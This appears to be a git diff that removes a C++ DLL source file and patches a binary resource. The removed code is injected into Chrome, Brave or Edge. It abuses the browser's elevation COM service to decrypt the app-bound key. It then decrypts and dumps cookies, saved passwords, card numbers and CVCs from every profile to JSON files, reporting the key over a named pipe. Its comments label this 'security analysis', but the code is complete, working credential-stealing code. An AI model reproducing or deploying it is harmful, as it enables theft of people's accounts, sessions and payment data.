-#include -#include -#include -#include -#include -#include - -#include "SelfLoader.h" -#include "winsqlite3.h" - -#pragma comment(lib, "Crypt32.lib") -#pragma comment(lib, "bcrypt.lib") -#pragma comment(lib, "ole32.lib") -#pragma comment(lib, "shell32.lib") - -#ifndef NT_SUCCESS -#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) -#endif - -namespace fs = std::filesystem; - -// Simplified string utilities for essential conversions only -namespace StringUtils -{ - // Convert filesystem path to API-compatible string - inline std::string path_to_string(const fs::path& path) - { - return path.string(); - } -} - -// COM Interface Protection Levels for Browser Elevation Services -enum class ProtectionLevel -{ - None = 0, - PathValidationOld = 1, - PathValidation = 2, - Max = 3 -}; - -// Chrome/Brave Base Elevator Interface - COM interop for browser security services -MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") -IOriginalBaseElevator : public IUnknown -{ -public: - virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0; - virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0; - virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0; -}; - -// Edge Elevator Base Interface - placeholder methods for compatibility -MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6") -IEdgeElevatorBase_Placeholder : public IUnknown -{ -public: - virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0; - virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0; - virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0; -}; - -// Edge Intermediate Elevator Interface - extends base functionality -MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") -IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder -{ -public: - virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0; - virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0; - virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0; -}; - -// Edge Final Elevator Interface - complete implementation -MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B") -IEdgeElevatorFinal : public IEdgeIntermediateElevator {}; - -namespace SecurityComponents -{ - class PipeLogger; - - namespace Utils - { - // Get Local AppData folder path with comprehensive error handling - fs::path GetLocalAppDataPath() - { - PWSTR path = nullptr; - if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path))) - { - fs::path result = path; - CoTaskMemFree(path); - return result; - } - throw std::runtime_error("Failed to get Local AppData path."); - } - - // Base64 decode utility for processing encrypted keys - std::optional> Base64Decode(const std::string& input) - { - DWORD size = 0; - if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr)) - return std::nullopt; - - std::vector data(size); - if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr)) - return std::nullopt; - - return data; - } - - // Convert binary data to hex string for diagnostic logging - std::string BytesToHexString(const std::vector& bytes) - { - std::ostringstream oss; - oss << std::hex << std::setfill('0'); - for (uint8_t byte : bytes) - oss << std::setw(2) << static_cast(byte); - return oss.str(); - } - - // Escape JSON strings for safe output serialization - std::string EscapeJson(const std::string& s) - { - std::ostringstream o; - for (char c : s) - { - switch (c) - { - case '"': o << "\\\""; break; - case '\\': o << "\\\\"; break; - case '\b': o << "\\b"; break; - case '\f': o << "\\f"; break; - case '\n': o << "\\n"; break; - case '\r': o << "\\r"; break; - case '\t': o << "\\t"; break; - default: - if ('\x00' <= c && c <= '\x1f') - { - o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast(c); - } - else - { - o << c; - } - } - } - return o.str(); - } - } - - namespace Browser - { - // Browser configuration structure for multi-platform support - struct Config - { - std::string name; - std::wstring processName; - CLSID clsid; - IID iid; - fs::path userDataSubPath; - }; - - // Get comprehensive browser configurations mapping - const std::unordered_map& GetConfigs() - { - static const std::unordered_map browser_configs = { - {"chrome", {"Chrome", L"chrome.exe", - {0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}}, - {0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}}, - fs::path("Google") / "Chrome" / "User Data"}}, - {"brave", {"Brave", L"brave.exe", - {0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}}, - {0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}}, - fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}}, - {"edge", {"Edge", L"msedge.exe", - {0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}}, - {0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}}, - fs::path("Microsoft") / "Edge" / "User Data"}} - }; - return browser_configs; - } - - // Detect current browser process configuration from runtime environment - Config GetConfigForCurrentProcess() - { - char exePath[MAX_PATH] = {0}; - GetModuleFileNameA(NULL, exePath, MAX_PATH); - std::string processName = fs::path(exePath).filename().string(); - std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower); - - const auto& configs = GetConfigs(); - if (processName == "chrome.exe") return configs.at("chrome"); - if (processName == "brave.exe") return configs.at("brave"); - if (processName == "msedge.exe") return configs.at("edge"); - - throw std::runtime_error("Unsupported host process: " + processName); - } - } - - namespace Crypto - { - // Cryptographic constants for AES-GCM decryption operations - constexpr size_t KEY_SIZE = 32; - constexpr size_t GCM_IV_LENGTH = 12; - constexpr size_t GCM_TAG_LENGTH = 16; - const uint8_t KEY_PREFIX[] = {'A', 'P', 'P', 'B'}; - - // Support for multiple encryption format versions - const std::string V10_PREFIX = "v10"; - const std::string V20_PREFIX = "v20"; - - // Simple RAII wrapper for BCrypt algorithm handle - class BCryptAlgorithm - { - public: - BCryptAlgorithm() { BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); } - ~BCryptAlgorithm() { if (handle) BCryptCloseAlgorithmProvider(handle, 0); } - operator BCRYPT_ALG_HANDLE() const { return handle; } - bool IsValid() const { return handle != nullptr; } - private: - BCRYPT_ALG_HANDLE handle = nullptr; - }; - - // Simple RAII wrapper for BCrypt key handle - class BCryptKey - { - public: - BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector& key) - { - BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0, - const_cast(key.data()), static_cast(key.size()), 0); - } - ~BCryptKey() { if (handle) BCryptDestroyKey(handle); } - operator BCRYPT_KEY_HANDLE() const { return handle; } - bool IsValid() const { return handle != nullptr; } - private: - BCRYPT_KEY_HANDLE handle = nullptr; - }; - - // Decrypt GCM-encrypted data using AES-GCM algorithm (supports v10 and v20 formats) - std::vector DecryptGcm(const std::vector& key, const std::vector& blob) - { - // Auto-detect encryption format version - std::string detectedPrefix; - size_t prefixLength = 0; - - if (blob.size() >= 3) - { - if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0) - { - detectedPrefix = V10_PREFIX; - prefixLength = V10_PREFIX.length(); - } - else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0) - { - detectedPrefix = V20_PREFIX; - prefixLength = V20_PREFIX.length(); - } - else - { - return {}; - } - } - else - { - return {}; - } - - const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH; - if (blob.size() < GCM_OVERHEAD_LENGTH) - return {}; - - // Initialize BCrypt AES-GCM cryptographic provider - BCryptAlgorithm algorithm; - if (!algorithm.IsValid()) - return {}; - - BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE, - reinterpret_cast(const_cast(BCRYPT_CHAIN_MODE_GCM)), - sizeof(BCRYPT_CHAIN_MODE_GCM), 0); - - // Generate symmetric key from raw key material - BCryptKey cryptoKey(algorithm, key); - if (!cryptoKey.IsValid()) - return {}; - - // Extract cryptographic components from blob - const uint8_t* iv = blob.data() + prefixLength; - const uint8_t* ct = iv + GCM_IV_LENGTH; - const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH); - ULONG ct_len = static_cast(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH); - - // Configure GCM authenticated encryption parameters - BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; - BCRYPT_INIT_AUTH_MODE_INFO(authInfo); - authInfo.pbNonce = const_cast(iv); - authInfo.cbNonce = GCM_IV_LENGTH; - authInfo.pbTag = const_cast(tag); - authInfo.cbTag = GCM_TAG_LENGTH; - - // Perform authenticated decryption with integrity verification - std::vector plain(ct_len > 0 ? ct_len : 1); - ULONG outLen = 0; - - NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast(ct), ct_len, &authInfo, - nullptr, 0, plain.data(), static_cast(plain.size()), &outLen, 0); - if (!NT_SUCCESS(status)) - return {}; - - plain.resize(outLen); - return plain; - } - - // Extract and validate encrypted master key from Local State configuration - std::vector GetEncryptedMasterKey(const fs::path& localStatePath) - { - std::ifstream f(localStatePath, std::ios::binary); - if (!f) - throw std::runtime_error("Could not open Local State file."); - - std::string content((std::istreambuf_iterator(f)), std::istreambuf_iterator()); - const std::string tag = "\"app_bound_encrypted_key\":\""; - size_t pos = content.find(tag); - if (pos == std::string::npos) - throw std::runtime_error("app_bound_encrypted_key not found."); - - pos += tag.length(); - size_t end_pos = content.find('"', pos); - if (end_pos == std::string::npos) - throw std::runtime_error("Malformed app_bound_encrypted_key."); - - auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos)); - if (!optDecoded) - throw std::runtime_error("Base64 decoding of key failed."); - - auto& decodedData = *optDecoded; - if (decodedData.size() < sizeof(KEY_PREFIX) || - memcmp(decodedData.data(), KEY_PREFIX, sizeof(KEY_PREFIX)) != 0) - { - throw std::runtime_error("Key prefix validation failed."); - } - return {decodedData.begin() + sizeof(KEY_PREFIX), decodedData.end()}; - } - } - - namespace Data - { - constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32; - - // Function pointer types for extraction operations - typedef std::shared_ptr>>(*PreQuerySetupFunc)(sqlite3*); - typedef std::optional(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector&, void*); - - // Configuration structure for database extraction operations - struct ExtractionConfig - { - fs::path dbRelativePath; - std::string outputFileName; - std::string sqlQuery; - PreQuerySetupFunc preQuerySetup; - JsonFormatterFunc jsonFormatter; - }; - - // Pre-query setup for payment cards - loads CVC data - std::shared_ptr>> SetupPaymentCards(sqlite3* db) - { - auto cvcMap = std::make_shared>>(); - sqlite3_stmt* stmt = nullptr; - if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK) - return cvcMap; - - while (sqlite3_step(stmt) == SQLITE_ROW) - { - const char* guid = reinterpret_cast(sqlite3_column_text(stmt, 0)); - const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 1)); - if (guid && blob) - (*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)}; - } - sqlite3_finalize(stmt); - return cvcMap; - } - - // JSON formatter for cookies - std::optional FormatCookie(sqlite3_stmt* stmt, const std::vector& key, void* state) - { - const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 6)); - if (!blob) return std::nullopt; - - auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)}); - if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE) - return std::nullopt; - - const char* value_start = reinterpret_cast(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE; - size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE; - - std::ostringstream json_entry; - json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 0))) << "\"" - << ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) << "\"" - << ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 2))) << "\"" - << ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\"" - << ",\"expires\":" << sqlite3_column_int64(stmt, 5) - << ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false") - << ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false") - << "}"; - return json_entry.str(); - } - - // JSON formatter for passwords - std::optional FormatPassword(sqlite3_stmt* stmt, const std::vector& key, void* state) - { - const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 2)); - if (!blob) return std::nullopt; - - auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)}); - return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 0))) + - "\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) + - "\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast(plain.data()), plain.size()}) + "\"}"; - } - - // JSON formatter for payment cards - std::optional FormatPayment(sqlite3_stmt* stmt, const std::vector& key, void* state) - { - auto cvcMap = reinterpret_cast>>*>(state); - std::string card_num_str, cvc_str; - - // Decrypt primary card number - const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 4)); - if (blob) - { - auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)}); - card_num_str.assign(reinterpret_cast(plain.data()), plain.size()); - } - - // Decrypt associated CVC if available - const char* guid = reinterpret_cast(sqlite3_column_text(stmt, 0)); - if (guid && cvcMap && (*cvcMap)->count(guid)) - { - auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid)); - cvc_str.assign(reinterpret_cast(plain.data()), plain.size()); - } - - return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) + - "\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) + - ",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) + - ",\"card_number\":\"" + Utils::EscapeJson(card_num_str) + - "\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}"; - } - - // Comprehensive extraction configurations for different browser data types - const std::vector& GetExtractionConfigs() - { - static const std::vector configs = { - // Browser cookie extraction configuration - {fs::path("Network") / "Cookies", "cookies", - "SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;", - nullptr, FormatCookie}, - - // Stored password extraction configuration - {"Login Data", "passwords", - "SELECT origin_url, username_value, password_value FROM logins;", - nullptr, FormatPassword}, - - // Payment card information extraction configuration - {"Web Data", "payments", - "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;", - SetupPaymentCards, FormatPayment} - }; - return configs; - } - } - - // Named pipe communication interface with orchestrator process - class PipeLogger - { - public: - explicit PipeLogger(LPCWSTR pipeName) - { - m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr); - } - - ~PipeLogger() - { - if (m_pipe != INVALID_HANDLE_VALUE) - { - Log("__DLL_PIPE_COMPLETION_SIGNAL__"); - FlushFileBuffers(m_pipe); - CloseHandle(m_pipe); - } - } - - bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; } - - // Send diagnostic message to orchestrator - void Log(const std::string& message) - { - if (isValid()) - { - DWORD bytesWritten = 0; - WriteFile(m_pipe, message.c_str(), static_cast(message.length() + 1), &bytesWritten, nullptr); - } - } - - HANDLE getHandle() const noexcept { return m_pipe; } - - private: - HANDLE m_pipe = INVALID_HANDLE_VALUE; - }; - - // Browser configuration and path management - class BrowserManager - { - public: - BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {} - - const Browser::Config& getConfig() const noexcept { return m_config; } - - // Resolve user data root directory for current browser configuration - fs::path getUserDataRoot() const - { - return Utils::GetLocalAppDataPath() / m_config.userDataSubPath; - } - - private: - Browser::Config m_config; - }; - - // Master key decryption service using COM elevation interfaces - class MasterKeyDecryptor - { - public: - explicit MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger) - { - if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED))) - { - throw std::runtime_error("Failed to initialize COM library."); - } - m_comInitialized = true; - m_logger.Log("[+] COM library initialized (APARTMENTTHREADED)."); - } - - ~MasterKeyDecryptor() - { - if (m_comInitialized) - { - CoUninitialize(); - } - } - - // Decrypt master key using browser-specific COM elevation service - std::vector Decrypt(const Browser::Config& config, const fs::path& localStatePath) - { - m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath)); - auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath); - - // Prepare encrypted key as BSTR for COM interface - BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast(encryptedKeyBlob.data()), - static_cast(encryptedKeyBlob.size())); - if (!bstrEncKey) - throw std::runtime_error("SysAllocStringByteLen for encrypted key failed."); - - BSTR bstrPlainKey = nullptr; - HRESULT hr = E_FAIL; - DWORD comErr = 0; - - m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server..."); - - // Use Edge-specific COM elevation interface - if (config.name == "Edge") - { - Microsoft::WRL::ComPtr elevator; - hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator); - if (SUCCEEDED(hr)) - { - CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, - COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, - RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING); - hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr); - } - } - // Use Chrome/Brave COM elevation interface - else - { - Microsoft::WRL::ComPtr elevator; - hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator); - if (SUCCEEDED(hr)) - { - CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, - COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, - RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING); - hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr); - } - } - - // Cleanup and validate COM decryption operation result - SysFreeString(bstrEncKey); - - if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE) - { - if (bstrPlainKey) SysFreeString(bstrPlainKey); - std::ostringstream oss; - oss << "IElevator->DecryptData failed. HRESULT: 0x" << std::hex << hr; - throw std::runtime_error(oss.str()); - } - - // Extract raw AES key bytes from BSTR - std::vector aesKey(Crypto::KEY_SIZE); - memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE); - SysFreeString(bstrPlainKey); - return aesKey; - } - - private: - PipeLogger& m_logger; - bool m_comInitialized = false; - }; - - // Browser profile discovery and enumeration service - class ProfileEnumerator - { - public: - ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger) - : m_userDataRoot(userDataRoot), m_logger(logger) {} - - // Discover all browser profiles containing extractable databases - std::vector FindProfiles() - { - m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot)); - std::vector profilePaths; - - // Check if directory contains extractable database files - auto isProfileDirectory = [](const fs::path& path) - { - for (const auto& dataCfg : Data::GetExtractionConfigs()) - { - if (fs::exists(path / dataCfg.dbRelativePath)) - return true; - } - return false; - }; - - // Check if root directory qualifies as a profile - if (isProfileDirectory(m_userDataRoot)) - { - profilePaths.push_back(m_userDataRoot); - } - - // Scan for profile subdirectories with database content - std::error_code ec; - for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec)) - { - if (!ec && entry.is_directory() && isProfileDirectory(entry.path())) - { - profilePaths.push_back(entry.path()); - } - } - - if (ec) - { - m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message()); - } - - // Remove duplicates using sort + unique instead of std::set - std::sort(profilePaths.begin(), profilePaths.end()); - profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end()); - - m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)."); - return profilePaths; - } - - private: - fs::path m_userDataRoot; - PipeLogger& m_logger; - }; - - // Database content extraction service using SQLite interface - class DataExtractor - { - public: - DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config, - const std::vector& aesKey, PipeLogger& logger, - const fs::path& baseOutputPath, const std::string& browserName) - : m_profilePath(profilePath), m_config(config), m_aesKey(aesKey), - m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {} - - // Extract and decrypt data from browser database - void Extract() - { - fs::path dbPath = m_profilePath / m_config.dbRelativePath; - if (!fs::exists(dbPath)) - return; - - // Open database with nolock parameter for live extraction without file locking - sqlite3* db = nullptr; - std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1"; - std::replace(uriPath.begin(), uriPath.end(), '\\', '/'); - - if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK) - { - m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) + - ": " + (db ? sqlite3_errmsg(db) : "N/A")); - if (db) sqlite3_close_v2(db); - return; - } - - // Prepare SQL query for data extraction - sqlite3_stmt* stmt = nullptr; - if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK) - { - sqlite3_close_v2(db); - return; - } - - // Execute pre-query setup if needed (e.g., for payment card CVCs) - void* preQueryState = nullptr; - std::shared_ptr>> cvcMap; - if (m_config.preQuerySetup) - { - cvcMap = m_config.preQuerySetup(db); - preQueryState = &cvcMap; - } - - // Extract and format data entries using custom formatters - std::vector jsonEntries; - while (sqlite3_step(stmt) == SQLITE_ROW) - { - if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState)) - { - jsonEntries.push_back(*jsonEntry); - } - } - - sqlite3_finalize(stmt); - sqlite3_close_v2(db); - - // Write extraction results to structured JSON output file - if (!jsonEntries.empty()) - { - fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() / - (m_config.outputFileName + ".json"); - - std::error_code ec; - fs::create_directories(outFilePath.parent_path(), ec); - if (ec) - { - m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path())); - return; - } - - std::ofstream out(outFilePath, std::ios::trunc); - if (!out) return; - - out << "[\n"; - for (size_t i = 0; i < jsonEntries.size(); ++i) - { - out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n"); - } - out << "\n]\n"; - - m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName + - " extracted to " + StringUtils::path_to_string(outFilePath)); - } - } - - private: - fs::path m_profilePath; - const Data::ExtractionConfig& m_config; - const std::vector& m_aesKey; - PipeLogger& m_logger; - fs::path m_baseOutputPath; - std::string m_browserName; - }; - - // Main orchestrator for browser security analysis operations - class SecurityOrchestrator - { - public: - explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName) : m_logger(lpcwstrPipeName) - { - if (!m_logger.isValid()) - { - throw std::runtime_error("Failed to connect to named pipe from orchestrator."); - } - ReadPipeParameters(); - } - - // Execute complete browser security analysis workflow - void Run() - { - BrowserManager browserManager; - const auto& browserConfig = browserManager.getConfig(); - m_logger.Log("[*] Security analysis process started for " + browserConfig.name); - - // Decrypt master key using COM elevation service - std::vector aesKey; - { - MasterKeyDecryptor keyDecryptor(m_logger); - fs::path localStatePath = browserManager.getUserDataRoot() / "Local State"; - aesKey = keyDecryptor.Decrypt(browserConfig, localStatePath); - } - m_logger.Log("[+] Decrypted AES Key: " + Utils::BytesToHexString(aesKey)); - - // Discover and process all browser profiles systematically - ProfileEnumerator enumerator(browserManager.getUserDataRoot(), m_logger); - auto profilePaths = enumerator.FindProfiles(); - - for (const auto& profilePath : profilePaths) - { - m_logger.Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename())); - - // Extract each data type (cookies, passwords, payments) using specialized handlers - for (const auto& dataConfig : Data::GetExtractionConfigs()) - { - DataExtractor extractor(profilePath, dataConfig, aesKey, m_logger, m_outputPath, browserConfig.name); - extractor.Extract(); - } - } - - m_logger.Log("[*] All profiles processed. Security analysis process finished."); - } - - private: - // Read configuration parameters from orchestrator via named pipe - void ReadPipeParameters() - { - char buffer[MAX_PATH + 1] = {0}; - DWORD bytesRead = 0; - - // Read verbose flag configuration - ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr); - - // Read output path configuration - ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr); - buffer[bytesRead] = '\0'; - m_outputPath = buffer; - } - - PipeLogger m_logger; - fs::path m_outputPath; - }; -} - -// Thread parameters for security module worker thread -struct ModuleThreadParams -{ - HMODULE hModule_dll; - LPVOID lpPipeNamePointerFromOrchestrator; -}; - -// Main worker thread for browser security analysis operations -DWORD WINAPI SecurityModuleWorker(LPVOID lpParam) -{ - auto thread_params = std::unique_ptr(static_cast(lpParam)); - - try - { - SecurityComponents::SecurityOrchestrator orchestrator(static_cast(thread_params->lpPipeNamePointerFromOrchestrator)); - orchestrator.Run(); - } - catch (const std::exception& e) - { - try - { - // Attempt to log error through pipe if communication channel is available - SecurityComponents::PipeLogger errorLogger(static_cast(thread_params->lpPipeNamePointerFromOrchestrator)); - if (errorLogger.isValid()) - { - errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what())); - } - } - catch (...) {} // Failsafe error handling if logging subsystem fails - } - - FreeLibraryAndExitThread(thread_params->hModule_dll, 0); - return 0; -} - -// Security module entry point - initializes browser security analysis operations -BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) -{ - if (reason == DLL_PROCESS_ATTACH) - { - DisableThreadLibraryCalls(hModule); - - auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved}; - if (!params) return TRUE; - - HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL); - if (hThread) - { - CloseHandle(hThread); - } - else - { - delete params; - } - } - return TRUE; -} \ No newline at end of file diff --git a/kvc/kvc_crypt.rc b/kvc/kvc_crypt.rc index 844c79f3f23c89f0369f644c62753c0daec3d151..379b2a704176aef422d892943121dd7bdfdb97ef 100644 GIT binary patch literal 4398 zcmd6r+ip@p6o%KeiSMwbH#RDzwJ~~Wfg+JYQz+^c(N-$4r40vb6JN+1A5s1O8CEwN zuqm|{WM`P!b6AIe9cFF*{NAt)OKi`2c4PxPw;`=-Bj(!74Q*^6?Uc8oJ>g00#6DY} zHeh~4f6Ux~UgyS)ju(7tXs zr~R*O-OC%<_lZ@|ch<^XP&&6W z^dEtaaA=|Rdw#2ET|`geQD%ONHjk)NSHH*xmjT~+E{p%_A?6ZAUB+M)J>;&w;n+Cc z)#_ck1nVlAPO;PwA4u#mHt+N1nV`ui=7piHFYtolR7~}VsKg#kkW-v0n>;3tcJZnh zQ%&OMkmxGHxiiTWqWgm<`RBdM_iY!)+R72LZaf1YJB=>KNi1P+Rce#pv4 z(AF(7f|K6@c~-yETsHM;ZIJEoTgHaXkYDS(E642O4botG#piW0VMi64m1p)OwrK^d zsXoWC-Y1_ON0@s9`egORvmMxOgvRrOQ!MX1Szo{Vo9{$s`w@6k%*XJNz3*40d zx)c9Rf@hcUwnO|ft4B&HQrNsc{~0`o6ZBHOXZIJT_Q%_>JHw%Ye3ABcK&1dCQO1;N zi@R(;M2xi9Vm(>#$mi1AT(@PsyGN#*KH52@8RIKU*`?iqS0z|Hq7k_%8XMR~Xy%Z5 zgdfM--RlJR<#=8 zn7V#6hy6SnztAu1b((2}Ea7#$>Wr)}E~9@|qWkkc)f1&j28}T{Ka!5T1$Rr#U4k@oSK^9xz0oAKirKx$Ct4ue6SMPjMcW9ihKp-lETcqpV_YN1cnKN76EL1 zuk>feW%X6zCoBp-vEdSkFHkr+3}Es_#)>7J2b>}4ekr*xF51=$Ne)ZlTTM`Mu8r>{ zIldQ6bu*M2xPaGJ*gu?UQ!6yx;6iaU*9tVt1bmSu%d!2RUGRg^z99^J<>YN4yK^cE zl%LJhT&!v-9+N1rgz}Qbau&)Q#jes9isUPEKb)IW-}cALtYofqp>KTDP`}7=x$Bt(Ccbb0-$K-chUA6}A4%;}9ei*@%Up8;6FPdnT1R~AMl0IsLg#%c?d_2F zG<$(qhC%D)B#Fl0UyLXDa{>OgDCr6?bB&Cj#n}f zd9sPiUFj{(Z_uFj2HqN1zht-p@Zi^*JpY26=^B+pcE62^=8^bHLX9qF^4ch}YHlTL 